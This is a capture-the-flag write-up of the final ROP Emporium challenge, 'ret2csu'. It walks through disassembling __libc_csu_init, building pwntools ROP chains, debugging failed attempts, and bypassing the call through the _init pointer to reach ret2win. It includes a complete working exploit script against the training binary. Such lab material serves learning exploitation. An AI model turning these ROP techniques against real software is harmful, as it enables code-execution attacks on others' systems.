8. ret2csu

the final challenge of ROP Emporium, the challenge is similar to callme which requires us to call a ret2win function with an arguments of ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) but this time there's a limited gadgets for us to work with.

so what's ret2csu exactly?

ret2csu is a technique that allows us to control registers when gadgets are lacking in the binary more information can be found in this paper

in this paticular case, the binary imported libc so there's a function called __libc_csu_init which is very important for us to uses to control registers.

gef➤  disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000400640 <+0>:     push   r15
   0x0000000000400642 <+2>:     push   r14
   0x0000000000400644 <+4>:     mov    r15,rdx
   0x0000000000400647 <+7>:     push   r13
   0x0000000000400649 <+9>:     push   r12
   0x000000000040064b <+11>:    lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:    push   rbp
   0x0000000000400653 <+19>:    lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:    push   rbx
   0x000000000040065b <+27>:    mov    r13d,edi
   0x000000000040065e <+30>:    mov    r14,rsi
   0x0000000000400661 <+33>:    sub    rbp,r12
   0x0000000000400664 <+36>:    sub    rsp,0x8
   0x0000000000400668 <+40>:    sar    rbp,0x3
   0x000000000040066c <+44>:    call   0x4004d0 <_init>
   0x0000000000400671 <+49>:    test   rbp,rbp
   0x0000000000400674 <+52>:    je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:    xor    ebx,ebx
   0x0000000000400678 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
End of assembler dump.

this is the full disassembly of __libc_csu_init, you might see something that represent gadgets here from the line <+90> to <+100> and <+64> to <+73>

   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]

these's might not look like gadgets at first, but we can actually control 3 of the registers for calling a function which are edi, rsi and rdx.

there're also pop instructions floating around in the binary for rdi and rsi but i decided to just use the instructions from __libc_csu_init to do the job.

note that call QWORD PTR [r12+rbx*8] is not call r12+rbx*8, this instruction calculate for the address of r12+rbx*8 and then reference it, get the address from memory and then call that address.

let's try to use these to manipulate registers and call ret2win.

from pwn import *

p = process("./ret2csu")

gdb.attach(p, """break ret2win""")

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a

# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680

ret2win = 0x400510
ret2win_got = 0x601020

arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d

padding = b"x" * 40

payload = flat([
        padding,
        pop,
        0,
        0,
        ret2win_got,
        arg_1,
        arg_2,
        arg_3,
        mov,
],word_size=64)

p.sendline(payload)

p.interactive()

let's try it.

 → 0x7f2a9ae009d7 <ret2win+4>      sub    rsp, 0x30
   0x7f2a9ae009db <ret2win+8>      mov    QWORD PTR [rbp-0x18], rdi
   0x7f2a9ae009df <ret2win+12>     mov    QWORD PTR [rbp-0x20], rsi
   0x7f2a9ae009e3 <ret2win+16>     mov    QWORD PTR [rbp-0x28], rdx
   0x7f2a9ae009e7 <ret2win+20>     mov    QWORD PTR [rbp-0x10], 0x0
   0x7f2a9ae009ef <ret2win+28>     movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7f2a9ae009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f2a9ae009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rdi rsi rdx
rdi            0xdeadbeef          0xdeadbeef
rsi            0xcafebabecafebabe  0xcafebabecafebabe
rdx            0xd00df00dd00df00d  0xd00df00dd00df00d

looking at the debugger our rdi is not correct yet but other registers are. what can we do here? maybe we can try to pop rdi to 0xdeadbeefdeadbeef first and then calling the gadgets from csu later on so let's try that.

from this paper we can do pop rdi directly by offsetting the pop gadgets from __libc_csu_init and here's the new payload.

payload = flat([
        padding,
        pop + 0x9,
        arg_1,
        pop,
        0,
        0,
        ret2win_got,
        arg_1,
        arg_2,
        arg_3,
        mov,
],word_size=64)

let's try it.

 → 0x7fe2490009d7 <ret2win+4>      sub    rsp, 0x30
   0x7fe2490009db <ret2win+8>      mov    QWORD PTR [rbp-0x18], rdi
   0x7fe2490009df <ret2win+12>     mov    QWORD PTR [rbp-0x20], rsi
   0x7fe2490009e3 <ret2win+16>     mov    QWORD PTR [rbp-0x28], rdx
   0x7fe2490009e7 <ret2win+20>     mov    QWORD PTR [rbp-0x10], 0x0
   0x7fe2490009ef <ret2win+28>     movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7fe2490009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fe2490009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rdi rsi rdx
rdi            0xdeadbeef          0xdeadbeef
rsi            0xcafebabecafebabe  0xcafebabecafebabe
rdx            0xd00df00dd00df00d  0xd00df00dd00df00d

so that doesn't work, hmm... what can we do now? i stuck here for a while then i came up with the idea of what if, i can somehow bypass the call instruction and go right to ret so then we can chain more registers to do stuff like pop rdi for example.

after researching for a while i found this book from hacktricks, looking at it i found that it mentions initPtr and i took a dive to see what this is, i assumed that it's the function _init that lives in the binary.

gef➤  disas _init
Dump of assembler code for function _init:
   0x00000000004004d0 <+0>:     sub    rsp,0x8
   0x00000000004004d4 <+4>:     mov    rax,QWORD PTR [rip+0x200b1d]        # 0x600ff8
   0x00000000004004db <+11>:    test   rax,rax
   0x00000000004004de <+14>:    je     0x4004e2 <_init+18>
   0x00000000004004e0 <+16>:    call   rax
   0x00000000004004e2 <+18>:    add    rsp,0x8
   0x00000000004004e6 <+22>:    ret

hmm, it's a relatively small function so maybe we can probably use this to bypass the call function and get to execute instructions after the call instruction and landing at ret instruction, after that we can do pop rdi and then call ret2win function.

but hold on, how do we find where 0x4004d0 live with in the binary? we can use &_DYNAMIC section to find the location of 0x4004d0 using gdb

gef➤  x/10xg &_DYNAMIC
0x600e00:       0x0000000000000001      0x0000000000000001
0x600e10:       0x0000000000000001      0x0000000000000038
0x600e20:       0x000000000000001d      0x0000000000000078
0x600e30:       0x000000000000000c      0x00000000004004d0
0x600e40:       0x000000000000000d      0x00000000004006b4

gef➤  x/xg 0x600e38
0x600e38:       0x00000000004004d0

so 0x600e38 it is.

there's something to consider before writing our script, let's look into __libc_csu_init one more time.

-----
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
End of assembler dump.

after call instruction there's some conditions to be met to reach ret instruction, we have to make rbp equal to rbx otherwise it will jump back to mov and call again after that we just have to add junks to fill for pop instructions, we also have to account for add rsp,0x8 with some junks too.

let's craft the final expliot

from pwn import *

p = process("./ret2csu")

gdb.attach(p, """break ret2win""")

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a

# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680

ret2win = 0x400510
init_ptr = 0x600e38

arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d

padding = b"x" * 40

payload = flat([
        padding,
        pop,
        0, # rbx
        1, # add one so that rbp is equal to rbx after add rbx,0x1
        init_ptr,
        0,
        arg_2,
        arg_3,
        mov,
        0, # add rsp,0x8 padding
        0,
        0,
        0,
        0,
        0,
        0,
        pop + 0x9,
        arg_1,
        ret2win,
],word_size=64)

p.sendline(payload)

p.interactive()

let's run it!

$ python solve.py
[+] Starting local process './ret2csu': pid 2083
[*] running in new terminal: ['/usr/bin/gdb', '-q', './ret2csu', '2083', '-x', '/tmp/pwnb34fq9vj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2csu' stopped with exit code 0 (pid 2083)
[*] Got EOF while reading in interactive

andddddddd it's done! nicesu nicesu!

we can also use _fini too since it's basically doing nothing

gef➤  disas _fini
Dump of assembler code for function _fini:
   0x00000000004006b4 <+0>:     sub    rsp,0x8
   0x00000000004006b8 <+4>:     add    rsp,0x8
   0x00000000004006bc <+8>:     ret

either way is fine, we since we pwned it anyway haha.

alright!, we pwned all of ROP Emporium challenges, if you stick around until this point, thank you so much, i hope you had fun doing these challenges, like i did. see you next time!